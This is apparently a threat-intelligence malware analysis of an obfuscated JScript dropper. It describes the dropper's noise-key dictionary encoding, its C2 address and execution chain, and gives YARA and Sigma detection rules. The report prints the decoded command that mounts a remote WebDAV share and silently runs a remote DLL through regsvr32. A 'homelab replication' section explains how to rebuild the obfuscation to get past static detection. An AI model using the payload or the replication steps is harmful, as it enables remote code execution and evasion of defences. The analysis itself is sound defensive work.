unclassified-js-webdav-dropper: fbdd83ad — 100-entry noise-key dictionary, 94.159.113.84:8888, no PowerShell wrapper

Executive Summary

A 487 KB JScript Windows Script Host dropper using a 100-entry noise-key dictionary lookup-table obfuscation — the largest dictionary observed in this family. The decoded payload mounts a WebDAV share at 94.159.113.84:8888 and silently registers a remote DLL (317101471316421.dll) via regsvr32 /s. No PowerShell wrapper, no decoy, and no sandbox gate. Sixty-sixth confirmed sibling in the unclassified-js-webdav-dropper cluster. Static-only analysis (CAPE skipped — JScript text file).

What It Is

How It Works

The script is a single line of JScript. ^[strings.txt:1]

1. Dictionary construction — Declares an array fwzwiqux and populates it with 100 key/value pairs. Keys are random lowercase noise strings (5–15 characters, no semantic content); values are single ASCII characters covering the full alphanumeric set plus common symbols required to assemble a command line. ^[strings.txt:1]
2. Global object access — Uses Function("return this")()["eval"]("...") to evaluate a dynamically assembled string. The inner string uses fwzwiqux['key1']+fwzwiqux['key2']+... to build WScript.Shell.Run(...) via dictionary lookups, avoiding any hardcoded API names in the source. ^[strings.txt:1] (decoded via Node.js interception)
3. Decoded payload — After de-obfuscation the payload reads:

   cmd /c net use \\94.159.113.84@8888\davwwwroot\ && regsvr32 /s \\94.159.113.84@8888\davwwwroot\317101471316421.dll
   

   This mounts the WebDAV share and silently loads the remote DLL in-process via the signed regsvr32.exe binary.

No PowerShell wrapper, no wordpad decoy, no sandbox gating, and no self-replication logic are present in this variant.

C2 Infrastructure

• WebDAV mount / payload host: 94.159.113.84:8888 (single IP for both net use and DLL fetch) ^[Node.js runtime interception]
• Payload filename: 317101471316421.dll ^[Node.js runtime interception]
• Execution chain: wscript.exe → cmd.exe /c → net use + regsvr32 /s → remote DLL over HTTP/WebDAV

Interesting Tidbits

• The dictionary has 100 entries — the largest observed in this family, exceeding the previous record of 62 entries. The extra entries appear to cover a broader symbol set (including !, @, #, $, %, ^, &, *, (, ), [, ], {, }, |, \, :, ;, ", ', <, >, ,, ., ?, `, ~, +, -, _, =, and control characters \t, \n, \r, \f, \v). ^[Node.js dictionary extraction]
• Key names are fully random noise (fwzwiqux, ssgtzstp, higogbwf, jyvhrpcdy, etc.) with no discernible pattern or semantic content. Key lengths range from 5 (ngfhh) to 15 (hhotmoyog, inksruall) characters. ^[strings.txt:1]
• The \ character is stored as "\\" (JSON-escaped double-backslash), which resolves to a single backslash in the JavaScript string. This is required for UNC path construction. ^[Node.js dictionary extraction]
• The @ symbol is present in the dictionary (mapped to kskiwxqrk → @), confirming the UNC WebDAV syntax \\host@port\ is explicitly supported. ^[Node.js dictionary extraction]
• No try/catch decoy block is used (unlike the wloiyndlclbycxtcnr variant which calls an undefined function to force the catch path). This variant executes directly via Function("return this")()["eval"](...). ^[strings.txt:1]
• The 487 KB size is an order of magnitude larger than typical siblings (which range from 5–20 KB). The bloat comes from the 100-entry dictionary and the extremely verbose concatenation syntax (fwzwiqux['atstkm']+fwzwiqux['fysuxmkw']+... repeated thousands of times). ^[triage.json]

How To Mess With It (Homelab Replication)

1. Build a noise-key dictionary. Generate 100 random lowercase strings (5–15 chars). Map each to a single character needed for your payload command.
2. Encode the payload. Replace every character of cmd /c net use \\<ip>@8888\davwwwroot\ && regsvr32 /s \\<ip>@8888\davwwwroot\<payload>.dll with concatenated dictionary lookups.
3. Wrap in eval. Assemble the full command string inside Function("return this")()["eval"]("...").
4. Test against EDR. Static string matching will fail. Behavioral detection (monitoring wscript.exe spawning cmd.exe with regsvr32 and DavWWWRoot) is the reliable detection path.

Deployable Signatures

YARA Rule

rule UNCLASSIFIED_JS_WEBDAV_DROPPER_FBDD83AD {
    meta:
        description = "JScript WebDAV dropper — 100-entry noise-key dictionary, 94.159.113.84:8888 C2"
        family    = "unclassified-js-webdav-dropper"
        author    = "PacketPursuit"
        date      = "2026-07-15"
        sha256    = "fbdd83ad649b5e90df9910f67eee3db9502bf63ccc0b958c10d8ade1d839d2f8"
    strings:
        $a = "fwzwiqux=[];"
        $b = "fwzwiqux['ssgtzstp']="
        $c = "Function("
        $d = "davwwwroot" nocase
        $e = "regsvr32 /s"
    condition:
        $a and $b and $c and $d and $e
}

Behavioral Hunt Query (Sigma)

title: WebDAV Regsvr32 DLL Execution from JScript Dropper
id: fbdd83ad-0000-0000-0000-000000000001
status: experimental
description: Detects regsvr32.exe loading a DLL from a DavWWWRoot UNC path, spawned from wscript/cscript/cmd
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - 'DavWWWRoot'
            - 'davwwwroot'
        CommandLine|contains: 'regsvr32'
    condition: selection
falsepositives:
    - Legitimate WebDAV-based software deployment (rare)
level: high

IOC List

Behavioral Fingerprint Statement

This JScript dropper declares a 100-entry noise-key dictionary array with random lowercase key names (5–15 characters), then assembles a WScript.Shell.Run invocation via Function("return this")()["eval"](...). At runtime it spawns cmd.exe /c to mount a WebDAV share at \\94.159.113.84@8888\DavWWWRoot\ and immediately calls regsvr32 /s to silently load a remote DLL from the same UNC path. No PowerShell wrapper, no sandbox gate, no persistence, and no decoy. The 487 KB size is anomalously large for this family due to the expanded dictionary and verbose concatenation syntax.

Detection Signatures

References

• unclassified-js-webdav-dropper — entity page for this family
• webdav-regsvr32-dll-sideloading — technique page for the execution chain
• js-dictionary-char-lookup-obfuscation — technique page for the obfuscation engine
• Sibling analysis 438fce55 — nearest prior sibling (36-entry noise-key dictionary, different C2, different payload) ^[/intel/analyses/438fce55de8d3e949b054332b416c1c910340aeede947279ca3802382aa1d9e3.html]
• Sibling analysis f8dce7df — sixty-fourth confirmed sibling (62-entry noise-key, extreme padding, 94.159.113.82:8888) ^[/intel/analyses/f8dce7df01e67193715270902da32b193a7497b5ad82d8e8721516ed6654fd5d.html]

Provenance

• file.txt — file utility output (ASCII text, no line terminators, very long lines)
• strings.txt — raw JScript source (single line, dictionary assignments + Function call)
• triage.json — triage metadata (filename, size, SHA-256)
• dynamic-analysis.md — CAPE skip notice (not a supported binary class)
• Decoding performed via Node.js runtime interception: eval() and WScript.Shell.Run() were stubbed to dump the decoded payload strings